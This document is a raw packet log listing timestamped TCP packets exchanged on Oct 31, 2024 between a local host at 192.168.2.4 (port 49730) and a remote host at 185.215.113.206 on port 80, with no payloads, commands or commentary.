Oct 31, 2024 11:27:05.134449959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134464979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134490967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134496927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134529114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134542942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134562969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134572029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134598970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134605885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134635925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134644985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134670973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134680033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134706020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134716988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134738922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134751081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134777069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134788990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134812117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134825945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134845972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134855032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134881020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134891987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134916067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134927034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134951115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134960890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.134985924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.134995937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.135020018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.135031939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.135055065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.135063887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.135097980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137155056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137222052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137243032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137291908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137326002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137377024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137377977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137414932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137428045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137449026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137456894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137485981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137495995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137531042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137537956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137573004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137590885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137609005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137658119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137666941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137696028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137712955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137732029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137746096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137767076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137805939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137819052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137820959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137854099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137878895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137906075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137907028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137945890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137958050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.137979031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.137995958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138012886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138029099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138047934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138066053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138084888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138103962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138139963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138144016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138180017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138190985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138214111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138223886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138250113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138262033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138295889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138303041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138338089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138349056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138372898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138384104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138407946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138421059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138459921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138477087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138494968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138514042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138528109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138542891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138566017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138572931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138600111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138612032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138633966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138652086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138667107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138675928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138700962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138711929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138736963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138746977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138772011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138791084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138808012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138823032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138839960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138853073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138870001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138889074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138904095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.138932943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.138947964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168582916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168648005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168663979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168698072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168704987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168757915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168761969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168797016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168809891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168840885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168848038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168883085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168896914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168919086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168929100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168953896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.168962955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.168992043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.169002056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.169035912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.169044018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.169079065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.169089079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.169115067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.169126034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.169161081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251144886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251163006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251270056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251331091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251420975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251451969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251463890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251473904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251486063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251497030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251497984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251509905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251523018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251539946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251560926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251585007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251595974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251610041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251620054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251632929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251645088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251657009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251692057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251692057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251766920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251826048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.251929045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251941919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251951933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251964092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251976013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.251981020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252015114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252101898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252114058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252125025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252135992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252146959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252149105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252176046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252206087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252270937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252283096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252294064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252305984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252319098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252340078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252340078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252407074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252446890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252460003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252470016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252482891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252499104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252527952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252545118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252814054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252826929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252836943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252849102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252861023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252866983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252875090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252886057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252890110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252912045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252933025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252971888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252984047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.252989054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.252995968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253016949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253043890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253160954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253173113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253182888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253195047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253206015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253206968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253241062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253241062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253278017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253513098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253524065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253535986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253545046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.253566980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.253596067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256186008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256196976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256216049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256227016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256239891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256251097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256262064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256266117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256278038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256287098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256325006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256370068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256382942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256392956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256406069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256417990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256428003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256428957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256443024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256450891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256455898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256469011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256493092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256496906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256521940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256570101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256694078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256705999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256716013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256728888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256740093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256747961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256762028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256769896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256774902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256787062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256793976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256819963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256841898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256892920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256906033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256917000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256930113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256941080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256947041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.256964922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.256992102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257081032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257091999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257103920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257124901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257154942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257246971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257257938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257271051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257282972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257293940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257297039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257308960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257318974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257320881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257333040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257344961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257356882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257373095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257391930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257397890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257404089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257419109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257430077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257441998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257446051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257452965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257466078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257469893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257476091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.257491112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257529020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.257529974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285460949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285516024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285564899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285571098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285599947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285614967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285643101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285650015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285664082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285685062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285706043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285720110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285723925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285769939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285770893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285808086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285823107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285844088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285867929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285886049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285888910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.285919905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.285945892 CET	49730	80	192.168.2.4	185.215.113.206
